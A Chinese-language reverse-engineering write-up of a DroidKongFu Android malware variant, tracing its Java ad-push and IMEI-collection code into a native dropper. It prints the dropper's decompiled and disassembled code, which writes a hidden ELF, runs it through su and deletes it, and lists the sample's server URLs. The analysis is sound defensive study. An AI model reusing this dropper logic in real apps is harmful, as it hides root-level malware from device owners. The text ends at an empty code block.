DroidKonngFu变种病毒实例分析

DroidKonngFu变种病毒实例分析

DroidKongFu病毒的主体是一个Android原生程序,通常被捆绑到正常的Android软件中,用户只要安装遭到捆绑的软件就会被感染该病毒。

动态分析

病毒分析讲究先动后静的分析步骤。首先动态分析捕获病毒执行的所有敏感操作,观察病毒运行时的症状,在了解病毒实现的功能后,再使用静态分析技术逆向病毒的功能代码,理清病毒的执行逻辑路线。

这里使用几款Android程序在线动态分析工具进行动态分析对照。分析得出APP基本信息以及其涉及的域名和访问的URL信息。

该app中还存在一些访问外部网站的URL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://ad.imadpush.com:7500/AppManager/index.php/AppPoster/mgPdownLog/down?appid=
http://dd.phonego8.com:7500/ad/nadp.php?v=1.5&id=
http://n.wiyun.com/hsup/spi?device_id=
http://e.domob.cn/report
http://amob.acs86.com/a.htm?pv=1&sp=
http://r.domob.cn/a/
http://d.wiyun.com/adv/d?t=
http://cast.ra.imocha.com/p/?pid=
http://dd.phonego8.com:7500/ad/nadp.php?v=1.5&id=all
http://dd.phonego8.com:7500/ad/nweb.php?v=1.5&u=
http://{0}/{1}
http://r2.adwo.com/adweb
http://amob.acs86.com/mst.htm?version=2.3.6
http://www.facebook.com/otothel.apps
http://proxy.youdraw.cn/api/proxy

访问一下看看

根据以上的分析可以得出病毒大概执行的动作:

  • 获取手机敏感数据
  • 访问外部网站
  • 对手机进行了定位

但这些信息还不足以理解病毒的完整运行过程,如病毒体的释放、系统目录读取等操作。

逆向分析

下面我们将从代码层面对病毒进行静态分析。DroidKongFu通过java层的Native函数启动病毒外壳,然后由病毒外壳来启动真正的病毒分析,所以主要从java层,Native启动层和核心层这三个方面来对其进行分析。

java层

在AndroidManifest.xml文件中可以得到如下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Activity: 
MainActivity ad.imadpush.com.poster.PosterInfoActivity

Service:
com.airpuh.ad.UpdateCheck ad.imadpush.com.poster.AlarmService

BroadcastReceiver:
ad.imadpush.com.poster.ReceiverAlarm

使用到以下权限:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>

下面为MainActivity类的代码,前面主要是对程序运行时出现的两个按钮关联事件。首先判断移动设备是否以及是ROOT权限,对解锁和开始这两个按钮进行说明.这都是原程序本来的功能,接下来就是病毒需要做的事情。

关键代码如下

1
2
3
4
5
6
7
8
9
#启动广告接受线程
this.mAd2 = new NewAd(this);
this.mAd2.startAd();
#启动全局定时器
new f(this);
#启动服务
Intent intent = new Intent();
intent.setClass(this, UpdateCheck.class);
startService(intent);

1.启动广告接收线程

1
2
this.mAd2 = new NewAd(this);
this.mAd2.startAd();

首先实例化一个NewAd对象,然后调用其startAd()方法,startAd()方法代码如下

1
2
3
4
public void startAd() {
new g(this).start();
}
}

新建了一个g对象并调用了它的start()方法,跟踪g类代码原来是个线程类,所以Thread对象的start()方法执行的是它的run()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class g extends Thread {
final /* synthetic */ NewAd a;

g(NewAd newAd) {
this.a = newAd;
}

public void run() {
while (!(this.a.a)) {
this.a.a();
try {
sleep(5000);
} catch (InterruptedException e) {
}
}
}
}

run()方法是一段循环代码,调用了NewAd类的a()方法,主要工作是访问网址”http://dd.phonego8.com:7500/ad/nadp.php?v=1.5&id=all"并解析返回的结果,根据不同的返回结果调用不同的方法,并设置a的值为true。其实就是请求不同广告商的push广告。

2.启动全局定时器

1
new f(this);

f类在初始化时执行了两个方法a()方法和b()方法

1
2
3
4
5
6
7
8
public void a(Activity activity, boolean z) {
l.a = z;
a = activity;
this.g = m.b(activity);//获取userid值
d = activity.getSharedPreferences("jmuser", 0);//打开SharedPreferences中的jmuser.xml文件
d.edit().putLong("dId", this.g.longValue()).commit();//将did和userid写入文件
new c(this).execute(null, 0, null);
}

a()方法中调用m.b()访问目标网址来获取userid值用来标识一个“合法”的用户,每个感染该病毒的手机通过这个userid获取广告,并将其和did一起写入SharedPreferences的jmuser.xml文件。

b()方法启动了一个周期为360000毫秒的全局定时器,对象为ReceiverAlarm.

1
2
3
4
5
6
7
8
private static void b() {
e = PendingIntent.getBroadcast(a, 0, new Intent(a, ReceiverAlarm.class), 0);//定义ReceiverAlarm
Calendar instance = Calendar.getInstance();//构造一个pendingintent对象
instance.setTimeInMillis(System.currentTimeMillis());
l.a(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(instance.getTimeInMillis())));
c = (AlarmManager) a.getSystemService("alarm");//获取系统定时服务
c.setRepeating(0, instance.getTimeInMillis(), 360000, e);//启动定时器
}

ReceiverAlarm类的OnReceive()方法只有一行代码,启动了AlarmService服务

AlarmService类中的onStart()方法在服务启动时获取系统的通知服务,然后调用AsyncTask的execute来向用户发送通知,诱骗用户安装广告服务。

1
2
3
4
5
6
7
8
public void onStart(Intent intent, int i) {
super.onStart(intent, i);
this.d = f.a;
this.e = Long.valueOf(f.d.getLong("userId", 0));
this.g = Long.valueOf(f.d.getLong("dId", 0));
a();
new g(this).execute(null, 0, null);
}

3.启动恶意服务

1
2
3
Intent intent = new Intent();
intent.setClass(this, UpdateCheck.class);
startService(intent);

通过上面三行代码启动恶意服务,启动了名称为updatecheck的服务,病毒主体就是通过它来启动的。我们跟踪该服务代码,它定义了一个静态方法用于加载原生动态链接库vadgo。

1
2
3
static {
System.loadLibrary("vadgo");
}

onCreate()方法获取了mCh、mId、mPkg这三个成员变量,分别记录了元数据MYAD_PID、设备的IMEI和程序包名,然后启动了线程。该线程run()方法中通过调用DataInit()来对三个值进行传递。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public void onCreate() {
super.onCreate();
try {
Object value2 = getPackageManager().getApplicationInfo(getPackageName(), 128).metaData.get("MYAD_PID");//获取元数据
if (value2 != null) {
this.mCh = (String) value2;
}
} catch (Exception e) {
e.printStackTrace();
}
this.mId = ((TelephonyManager) getSystemService("phone")).getDeviceId();//获取IMEI
if (this.mId == null) {
this.mId = Settings.System.getString(getContentResolver(), "android_id");
}
this.mPkg = getPackageName();//获取包名
new Thread() {
/* class com.airpuh.ad.UpdateCheck.AnonymousClass1 */

public void run() {
UpdateCheck.this.DataInit(UpdateCheck.this.mId, UpdateCheck.this.mCh, UpdateCheck.this.mPkg);
}
}.start();//启动线程
}

DataInit()是一个Native方法,将mCh、mId、mPkg这三个值传递过去,这里代码就从java层进入到了Native层。

1
public native boolean DataInit(String str, String str2, String str3);

Native层

使用IDA打开libvadgo.so文件,首先可以在导出表中定位java_com_airpuh_ad_UpdateCheck_DataInit函数

在IDA中按f5获取c语言代码,该片段代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#释放病毒主体
memset(s, 0, sizeof(s)); //对s进行初始化,清空存储空间用来存入sprintf组成的字符串
time(&timer); //返回当前时间
srand48(timer); //初始化timer
v11 = lrand48(); //获取一个正的长整型随机数,获取系统时间作为随机数种子
sprintf(s, "%s/%s/.e%dd", "/data/data", v9, v11);
v12 = open(s, 578, 384); //创建恶意文件

#判断程序路径以及开启su权限的管道
if ( v12 >= 0
&& (v14 = (char *)write(v12, &_bindata, (size_t)aEncodingUtf8St), //写入恶意文件
close(v13),
sync(),
sync(),
chmod(s, 0x1EDu), //加上可执行权限
v14 == aEncodingUtf8St)
&& (!access(SYS_BIN_SU, 0) ? (v19 = popen(SYS_BIN_SU, "w")) : (v19 = popen(SYS_XBIN_SU, "w")), v19) )
{
//执行病毒主体
memset(v22, 0, 0xFFu);
sprintf(v22, "%s %s %s\n", CMD_SET_PROP, PROP_RUNNING_ID, v7);
v15 = strlen(v22);
fwrite(v22, 1u, v15, v19);
fflush(v19);
memset(v22, 0, 0xFFu);
sprintf(v22, "%s %s %s\n", CMD_SET_PROP, PROP_RUNNING_CH, v8);
v16 = strlen(v22);
fwrite(v22, 1u, v16, v19);
fflush(v19);
memset(v22, 0, 0xFFu);
sprintf(v22, "%s\n", s);
v17 = strlen(v22);
fwrite(v22, 1u, v17, v19);
fflush(v19);
memset(v22, 0, 0xFFu);
strcpy(v22, "exit\n");
v18 = strlen(v22);
fwrite(v22, 1u, v18, v19);
fflush(v19);
pclose(v19);
sleep(0x12Cu);
unlink(s); //删除文件
result = 1;
}

开始代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
.text:0000093C ; __unwind {
.text:0000093C PUSH {R4-R7,LR} ;将R4-R7以及LR寄存器的值压入堆栈
.text:0000093E MOV R7, R11 ;下面四行是将R8-R11的寄存值保存在R4-R7
.text:00000940 MOV R6, R10
.text:00000942 MOV R5, R9
.text:00000944 MOV R4, R8
.text:00000946 PUSH {R4-R7} ;将R8-R11寄存器的值压入堆栈
.text:00000948 LDR R4, =0xFFFFFDE4 ;将内存地址中的数据传给寄存器R4
.text:0000094A MOVS R7, R3 ;
.text:0000094C LDR R3, =(__stack_chk_guard_ptr - 0x10C8);相对GOT表的偏移
.text:0000094E ADD SP, R4 :开辟栈的空间,加R4
.text:00000950 LDR R4, =(_GLOBAL_OFFSET_TABLE_ - 0x95A) ;保存数据存取的基址
.text:00000952 MOV R9, R3
.text:00000954 LDR R1, [SP,#0x240+arg_0]
.text:00000956 ADD R4, PC ; _GLOBAL_OFFSET_TABLE_
.text:00000958 LDR R3, [R4,R3] ; __stack_chk_guard
.text:0000095A MOVS R6, #0x2A4
.text:0000095E LDR R3, [R3]
.text:00000960 MOV R8, R1
.text:00000962 MOVS R1, R2 ;Android设备ID
.text:00000964 STR R3, [SP,#0x240+var_2C] ;保存R3寄存器,用于堆栈完整性检查
.text:00000966 LDR R3, [R0]
.text:00000968 MOVS R2, #0
.text:0000096A MOVS R5, R0
.text:0000096C LDR R3, [R3,R6]
.text:0000096E BLX R3 :跳转到R3
.text:00000970 LDR R3, [R5]
.text:00000972 MOV R11, R0
.text:00000974 MOVS R1, R7
.text:00000976 LDR R3, [R3,R6]
.text:00000978 MOVS R0, R5
.text:0000097A MOVS R2, #0
.text:0000097C BLX R3
.text:0000097E LDR R3, [R5]
.text:00000980 MOV R1, R8
.text:00000982 MOV R10, R0
.text:00000984 LDR R3, [R3,R6]
.text:00000986 MOVS R0, R5
.text:00000988 MOVS R2, #0
.text:0000098A BLX R3
.text:0000098C MOV R1, R11
.text:0000098E MOVS R5, R0
.text:00000990 MOVS R0, #0
.text:00000992 CMP R1, #0
.text:00000994 BNE loc_998 :与cmp搭配,BNE不相等跳转,比较R10,不相等则跳转到loc_998
.text:00000996 B loc_B1C ;直接跳转到loc_B1

在上述代码中值得注意的是”LDR R3, [R4,R3] “这一条指令,可以看到其后面的注释为”_stack_chk_guard“,这是软件安全技术中的堆栈保护技术(GCC Stack Smashing Protector)的一部分,用来防止堆栈溢出造成的溢出漏洞攻击,生成的代码会被添加上堆栈保护代码。在Android系统源代码的bionic\libc\bionic\ssp.c文件中可以看到其实现机制,由_guard_setup()函数设置,是/dev/urandom设备生成的一个随机数。我们再来看看函数返回时相应的处理代码loc_B1C:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000B1C loc_B1C                                 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+5A↑j
.text:00000B1C ; Java_com_airpuh_ad_UpdateCheck_DataInit+206↓j
.text:00000B1C MOV R2, R9
.text:00000B1E LDR R3, [R4,R2] ; __stack_chk_guard
.text:00000B20 LDR R2, [SP,#0x240+var_2C]
.text:00000B22 LDR R3, [R3]
.text:00000B24 CMP R2, R3
.text:00000B26 BNE loc_B5C
.text:00000B28 MOVS R3, #0x21C
.text:00000B2C ADD SP, R3
.text:00000B2E POP {R2-R5}
.text:00000B30 MOV R8, R2
.text:00000B32 MOV R9, R3
.text:00000B34 MOV R10, R4
.text:00000B36 MOV R11, R5
.text:00000B38 POP {R4-R7,PC}

函数返回时重新读取堆栈上的值与原先_stack_chk_guard的值进行比较。

我们继续跟踪loc_998,首先跳转到init_predata,然后通过判断java代码传递过来的META DATA是否为空,若为空则跳转到loc_B54,否则就跳转到loc_9A4

1
2
3
4
5
6
.text:00000998 loc_998                                 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+58↑j
.text:00000998 BL init_predata
.text:0000099C MOV R2, R10
.text:0000099E CMP R2, #0
.text:000009A0 BNE loc_9A4
.text:000009A2 B loc_B54

先来看init_predata函数,该函数功能是进行字符串解密操作,程序运行时需要将之前加密的字符串进行动态的解密操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
.text:00000894 init_predata                            ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit:loc_998↓p
.text:00000894 ; DATA XREF: LOAD:00000018↑o ...
.text:00000894 ; __unwind {
.text:00000894 BLMI 0x8D2D24
.text:00000898 STMPL R11, {R0,R3-R6,R10,LR}^
.text:0000089C BCS 0x1E90C
.text:000008A0 BICSMI SP, R2, #5
.text:000008A4 MOVWCC R7, #0x101A
.text:000008A8 BCS 0x1E918
.text:000008AC BLMI 0x7B5098
.text:000008B0 LDMDAVC R10, {R0,R1,R3,R6,R7,R11,R12,LR}
.text:000008B4 ANDLE R2, R5, R0,LSL#20
.text:000008B8 LDRSBVC R4, [R10],-R2
.text:000008BC LDMDAVC R10, {R0,R8,R9,R12,SP}
.text:000008C0 MVNSLE R2, R0,LSL#20
.text:000008C4 STMPL R11, {R0,R3,R4,R8,R9,R11,LR}^
.text:000008C8 BCS 0x1E938
.text:000008CC BICSMI SP, R2, #5
.text:000008D0 MOVWCC R7, #0x101A
.text:000008D4 BCS 0x1E944
.text:000008D8 BLMI 0x5750C4
.text:000008DC LDMDAVC R10, {R0,R1,R3,R6,R7,R11,R12,LR}
.text:000008E0 ANDLE R2, R5, R0,LSL#20
.text:000008E4 LDRSBVC R4, [R10],-R2
.text:000008E8 LDMDAVC R10, {R0,R8,R9,R12,SP}
.text:000008EC MVNSLE R2, R0,LSL#20
.text:000008F0 STMPL R11, {R4,R8,R9,R11,LR}^
.text:000008F4 BCS 0x1E964
.text:000008F8 BICSMI SP, R2, #5
.text:000008FC MOVWCC R7, #0x101A
.text:00000900 BCS 0x1E970
.text:00000904 BLMI 0x3350F0
.text:00000908 LDMDAVC R10, {R0,R1,R3,R6,R7,R11,R12,LR}
.text:0000090C ANDLE R2, R5, R0,LSL#20
.text:00000910 LDRSBVC R4, [R10],-R2
.text:00000914 LDMDAVC R10, {R0,R8,R9,R12,SP}
.text:00000918 MVNSLE R2, R0,LSL#20
.text:0000091C CODE16
.text:0000091C BX LR
.text:0000091C ; End of function init_predata

接下来就是释放病毒主体,当META DATA为空时,跳转到local_B54将R10设置为“self”字符串地址,然后跳转到loc_9A4

1
2
3
4
5
.text:00000B54 loc_B54                                 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+66↑j
.text:00000B54 LDR R3, =(__data_start_ptr - 0x10C8)
.text:00000B56 LDR R3, [R4,R3] ; __data_start
.text:00000B58 MOV R10, R3
.text:00000B5A B loc_9A4

当META DATA不为空时,也直接跳转到loc_9A4.继续跟踪loc_9A4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
.text:000009A4 loc_9A4                                 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+64↑j
.text:000009A4 ; Java_com_airpuh_ad_UpdateCheck_DataInit+21E↓j
.text:000009A4 ADD R6, SP, #0x240+s
.text:000009A6 MOVS R2, #0x80
.text:000009A8 MOVS R1, #0 ; 填0
.text:000009AA LSLS R2, R2, #1 ; 填入长度0x100
.text:000009AC MOVS R0, R6 ; 缓冲区
.text:000009AE BLX memset : 清空一个存储空间用来存入sprintf组成的字符串
.text:000009B2 ADD R0, SP, #0x240+timer ; timer
.text:000009B4 BLX time ; 获取系统时间作为随机种子
.text:000009B8 LDR R0, [SP,#0x240+timer] ; seedval
.text:000009BA BLX srand48
.text:000009BE BLX lrand48 ; 生成的随机数作为释放的恶意文件名
.text:000009C2 LDR R1, =(aSSEDd - 0x9CC) ; "%s/%s/.e%dd"
.text:000009C4 LDR R2, =(aDataData - 0x9CE) ; "/data/data"
.text:000009C6 STR R0, [SP,#0x240+var_240]
.text:000009C8 ADD R1, PC ; "%s/%s/.e%dd"
.text:000009CA ADD R2, PC ; "/data/data"
.text:000009CC MOVS R0, R6 ; 赋予前面meset的缓冲区
.text:000009CE MOVS R3, R5
.text:000009D0 BLX sprintf
.text:000009D4 MOVS R2, #0xC0
.text:000009D6 MOVS R0, R6 ; file
.text:000009D8 LDR R1, =0x242 ; oflag
.text:000009DA LSLS R2, R2, #1
.text:000009DC BLX open ; 创建恶意文件
.text:000009E0 SUBS R7, R0, #0
.text:000009E2 BGE loc_9E6
.text:000009E4 B loc_B3A

.text:000009E6 loc_9E6 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+A6↑j
.text:000009E6 LDR R3, =(__bindata_ptr - 0x10C8)
.text:000009E8 MOVS R0, R7 ; fd
.text:000009EA LDR R1, [R4,R3] ; __bindata ; buf
.text:000009EC LDR R3, =aEncodingUtf8St ; "encoding='utf-8' standalone='yes' ?>\n"
.text:000009EE MOVS R2, R3 ; n
.text:000009F0 MOV R8, R3
.text:000009F2 BLX write ; 写入恶意文件
.text:000009F6 MOVS R5, R0 ; 实际写入的长度
.text:000009F8 MOVS R0, R7 ; fd
.text:000009FA BLX close
.text:000009FE BLX sync ; 强制刷新
.text:00000A02 BLX sync
.text:00000A06 MOVS R0, R6 ; file
.text:00000A08 LDR R1, =0x1ED ; 775u
.text:00000A0A BLX chmod ; 赋予可执行权限
.text:00000A0E CMP R5, R8
.text:00000A10 BEQ loc_A14
.text:00000A12 B loc_B3A

首先调用meset()函数清空内存区域用于后面存入病毒文件名,使用time()获取系统时间,使用lrand48()对获取的系统时间生成随机数,病毒文件名采用”.e<随机数>d”的格式生成文件名,该文件为隐藏文件。构造好完整的病毒文件后,调用open()函数创建了病毒文件,接着使用write()函数写入文件,写入的内容起始地址指向____bindata , 跳转到该地址,可以看到前4个字节为”7F 45 4C 46”,这四个字节为ELF文件的标识

写入长度为0x699c,文件大小为27036字节,文件写完后使用close()关闭文件流,sync()函数强制刷新,chmod()函数添加执行权限。病毒发作后,在进程中无法找到生成的病毒主体,是由于在执行完主体后调用unlink()函数将其删除。所以需要我们去手工dump下来病毒主体,使用二进制编辑器打开libvadgo.so文件,直接跳转到病毒主体起始地址0x1194,如下所示开头为ELF标准的文件开头。

1

选取0x1194到0x7b30的内容另存为evil.bin文件,该文件即位病毒主体。

病毒主体释放完就是开启su权限管道,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:00000A14 loc_A14                                 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+D4↑j
.text:00000A14 LDR R3, =(SYS_BIN_SU_ptr - 0x10C8)
.text:00000A16 MOVS R1, #0 ; type
.text:00000A18 LDR R5, [R4,R3] ; SYS_BIN_SU
.text:00000A1A MOVS R0, R5 ; name
.text:00000A1C BLX access ; 判断/system/bin/su是否可以访问
.text:00000A20 CMP R0, #0 ; 当R0==0时表示文件可访问
.text:00000A22 BEQ loc_A26 ; 文件可访问就popen(“/system/bin/su”,w)
.text:00000A24 B loc_B44 ; 不可访问就popen("/system/xbin/su",w)
.text:00000A26 ; ---------------------------------------------------------------------------
.text:00000A26
.text:00000A26 loc_A26 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+E6↑j
.text:00000A26 LDR R1, =(aW - 0xA2E) ; "w"
.text:00000A28 MOVS R0, R5 ; command
.text:00000A2A ADD R1, PC ; "w"
.text:00000A2C BLX popen ; 创建管道运行/system/bin/su
.text:00000A30 ADDS R7, R0, #0
.text:00000A32
.text:00000A32 loc_A32 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+216↓j
.text:00000A32 CMP R7, #0 ; 判断管道是否创建成功,成功的话R7不等于0
.text:00000A34 BNE loc_A38 ; 成功则调用loc_A38执行病毒本体
.text:00000A36 B loc_B3A ; 否则删除病毒本体后退出

通过access()函数判断su可执行程序的路径,su是系统权限提升程序,所以病毒在运行前需要保证手机已经ROOT(在程序开头就对设备的ROOT权限进行了判断)。在检测完su的程序路径后,调用popen()函数创建管道,如果系统中存在su权限管理程序则弹出权限请求程序对话框。接着再判断管道是否创建成功,成功则跳转到loc_A38执行病毒本体,否则就跳转到loc_B3A删除病毒本体然后退出函数。

在上述的创建管道成功后,接下来就是执行病毒本体,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
.text:00000A38 loc_A38                                 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+F8↑j
.text:00000A38 ADD R5, SP, #0x240+var_12C
.text:00000A3A MOVS R1, #0 ; c
.text:00000A3C MOVS R2, #0xFF ; n
.text:00000A3E MOVS R0, R5 ; s
.text:00000A40 BLX memset
.text:00000A44 LDR R3, =(CMD_SET_PROP_ptr - 0x10C8)
.text:00000A46 LDR R1, =(aSSS - 0xA52) ; "%s %s %s\n"
.text:00000A48 MOV R2, R11
.text:00000A4A LDR R3, [R4,R3] ; CMD_SET_PROP
.text:00000A4C MOV R8, R1
.text:00000A4E ADD R8, PC ; "%s %s %s\n"
.text:00000A50 STR R3, [SP,#0x240+var_234] ;字符串"/system/bin/setprop"
.text:00000A52 LDR R3, =(PROP_RUNNING_ID_ptr - 0x10C8)
.text:00000A54 MOV R1, R8 ; format格式化字符串
.text:00000A56 STR R2, [SP,#0x240+var_240]
.text:00000A58 LDR R3, [R4,R3] ; PROP_RUNNING_ID (r0.bot.id)
.text:00000A5A LDR R2, [SP,#0x240+var_234]
.text:00000A5C MOVS R0, R5 ; s
.text:00000A5E BLX sprintf
.text:00000A62 MOVS R0, R5 ; char * "/system/bin/setprop ro.bot.idandroid_id\n"
.text:00000A64 BLX strlen ; 计算组合后的字符串长度
.text:00000A68 MOVS R3, R7 ; s 管道fd
.text:00000A6A MOVS R2, R0 ; n 要写入的字节长度
.text:00000A6C MOVS R1, #1 ; size 按字节计算
.text:00000A6E MOVS R0, R5 ; ptr 要写入的命令"/system/bin/setprop ro.bot.idandroid_id\n"
.text:00000A70 BLX fwrite ; 写入命令到管道
.text:00000A74 MOVS R0, R7 ; stream 管道fd
.text:00000A76 BLX fflush ; 强制刷新
.text:00000A7A MOVS R1, #0 ; c
.text:00000A7C MOVS R2, #0xFF ; n
.text:00000A7E MOVS R0, R5 ; s
.text:00000A80 BLX memset
.text:00000A84 LDR R3, =(PROP_RUNNING_CH_ptr - 0x10C8)
.text:00000A86 MOV R1, R10
.text:00000A88 LDR R2, [SP,#0x240+var_234]
.text:00000A8A LDR R3, [R4,R3] ; PROP_RUNNING_CH
.text:00000A8C STR R1, [SP,#0x240+var_240] ; ‘NCutterope’压入堆栈
.text:00000A8E MOVS R0, R5 ; s
.text:00000A90 MOV R1, R8 ; format
.text:00000A92 BLX sprintf
.text:00000A96 MOVS R0, R5 ; char * "/system/bin/setprop ro.bot.ch NCutterope\n"
.text:00000A98 BLX strlen
.text:00000A9C MOVS R3, R7 ; s
.text:00000A9E MOVS R2, R0 ; n
.text:00000AA0 MOVS R1, #1 ; size
.text:00000AA2 MOVS R0, R5 ; ptr
.text:00000AA4 BLX fwrite
.text:00000AA8 MOVS R0, R7 ; stream
.text:00000AAA BLX fflush
.text:00000AAE MOVS R1, #0 ; c
.text:00000AB0 MOVS R2, #0xFF ; n
.text:00000AB2 MOVS R0, R5 ; s
.text:00000AB4 BLX memset
.text:00000AB8 LDR R1, =(aS - 0xAC2) ; "%s\n"
.text:00000ABA MOVS R2, R6 ; 生成的恶意文件名
.text:00000ABC MOVS R0, R5 ; s
.text:00000ABE ADD R1, PC ; "%s\n"
.text:00000AC0 BLX sprintf
.text:00000AC4 MOVS R0, R5 ; char *
.text:00000AC6 BLX strlen
.text:00000ACA MOVS R3, R7 ; s
.text:00000ACC MOVS R2, R0 ; n
.text:00000ACE MOVS R1, #1 ; size
.text:00000AD0 MOVS R0, R5 ; ptr
.text:00000AD2 BLX fwrite ; 执行恶意文件
.text:00000AD6 MOVS R0, R7 ; stream
.text:00000AD8 BLX fflush
.text:00000ADC MOVS R1, #0 ; c
.text:00000ADE MOVS R2, #0xFF ; n
.text:00000AE0 MOVS R0, R5 ; s
.text:00000AE2 BLX memset
.text:00000AE6 LDR R3, =0x74697865
.text:00000AE8 MOVS R0, R5 ; char *
.text:00000AEA STR R3, [SP,#0x240+var_12C]
.text:00000AEC MOVS R3, #0xA
.text:00000AEE STRH R3, [R5,#4]
.text:00000AF0 BLX strlen
.text:00000AF4 MOVS R1, #1 ; size
.text:00000AF6 MOVS R2, R0 ; n
.text:00000AF8 MOVS R3, R7 ; s
.text:00000AFA MOVS R0, R5 ; ptr
.text:00000AFC BLX fwrite
.text:00000B00 MOVS R0, R7 ; stream
.text:00000B02 BLX fflush
.text:00000B06 MOVS R0, R7 ; stream
.text:00000B08 BLX pclose
.text:00000B0C MOVS R0, #0x12C ; seconds
.text:00000B10 BLX sleep ; 休眠300毫秒
.text:00000B14 MOVS R0, R6 ; name
.text:00000B16 BLX unlink : 删除文件
.text:00000B1A MOVS R0, #1

整个代码一共往su管道写入了4次命令。第一次是”/system/bin/setprop ro.bot.idandroid_id\n”;第二次是”/system/bin/setprop ro.bot.ch NCutterope\n”;第三次是执行病毒主体文件;第四次是调用sleep()函数睡眠300毫秒,最后调用unlink()函数删除文件。

在执行上述操作后,系统将还原寄存器的初始值,将压入堆栈中的寄存器值取出进行恢复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 loc_B1C                                 ; CODE XREF: Java_com_airpuh_ad_UpdateCheck_DataInit+5A↑j
.text:00000B1C ; Java_com_airpuh_ad_UpdateCheck_DataInit+206↓j
.text:00000B1C MOV R2, R9
.text:00000B1E LDR R3, [R4,R2] ; __stack_chk_guard
.text:00000B20 LDR R2, [SP,#0x240+var_2C]
.text:00000B22 LDR R3, [R3]
.text:00000B24 CMP R2, R3
.text:00000B26 BNE loc_B5C
.text:00000B28 MOVS R3, #0x21C
.text:00000B2C ADD SP, R3
.text:00000B2E POP {R2-R5}
.text:00000B30 MOV R8, R2
.text:00000B32 MOV R9, R3
.text:00000B34 MOV R10, R4
.text:00000B36 MOV R11, R5
.text:00000B38 POP {R4-R7,PC}

在静态分析原生程序时,为了不影响函数调用时的中间结果,在使用前需要对函数中涉及到的通用寄存器进行现场保护。

Native层病毒核心分析

我们使用上面提取出来的病毒主体在测试环境下运行并使用strace获取其调用的所有系统API函数

1
2
3
adb push evil.bin /data/local/tmp
chmod 777 /data/local/tmp/evil.bin
strace evil.bin > evil.strace

下面是从evil.strace文件中提取出的一段内容,这里是将/system/bin/debuggerd文件复制一份保存到/system/framework/debuggerd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
access("/system/framework/debuggerd", F_OK) = -1 ENOENT (No such file or directory)
open("/system/bin/debuggerd", O_RDONLY|O_LARGEFILE) = 3
open("/system/framework/debuggerd", O_RDWR|O_CREAT|O_TRUNC|O_LARGEFILE, 0600) = 4
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0(\0\1\0\0\0°\221\0\000"..., 4096) = 4096
write(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0(\0\1\0\0\0°\221\0\000"..., 4096) = 4096
read(3, "dñ¼å\0Æ\217â\3Ê\214â\\ñ¼å\0Æ\217â\3Ê\214âTñ¼å\0Æ\217â"..., 4096) = 4096
write(4, "dñ¼å\0Æ\217â\3Ê\214â\\ñ¼å\0Æ\217â\3Ê\214âTñ¼å\0Æ\217â"..., 4096) = 4096
read(3, "\2Ð\177JzD\33à\200# \34\4!\32\1þ÷þï\36%#®)àþ÷Xï\1h"..., 4096) = 4096
write(4, "\2Ð\177JzD\33à\200# \34\4!\32\1þ÷þï\36%#®)àþ÷Xï\1h"..., 4096) = 4096
read(3, "\222è\4\36\4Úý÷bï\1h\4)óÐ \34ø½\0\22\0\0ðµ\211°\1\220\f"..., 4096) = 4096
write(4, "\222è\4\36\4Úý÷bï\1h\4)óÐ \34ø½\0\22\0\0ðµ\211°\1\220\f"..., 4096) = 4096
read(3, "ÿÿÿÿ\0\0\0\0ÿÿÿÿ\0\0\0\0ÿÿÿÿ\0\0\0\0ÿÿÿÿ\0\0\0\0"..., 4096) = 1716
write(4, "ÿÿÿÿ\0\0\0\0ÿÿÿÿ\0\0\0\0ÿÿÿÿ\0\0\0\0ÿÿÿÿ\0\0\0\0"..., 1716) = 1716
read(3, "", 4096) = 0
close(3) = 0
close(4) = 0
sync() = 0
sync() = 0
chmod("/system/framework/debuggerd", 0755) = 0

使用IDA打开保存的病毒主体,下面是设置感染标志的代码

1
2
3
4
5
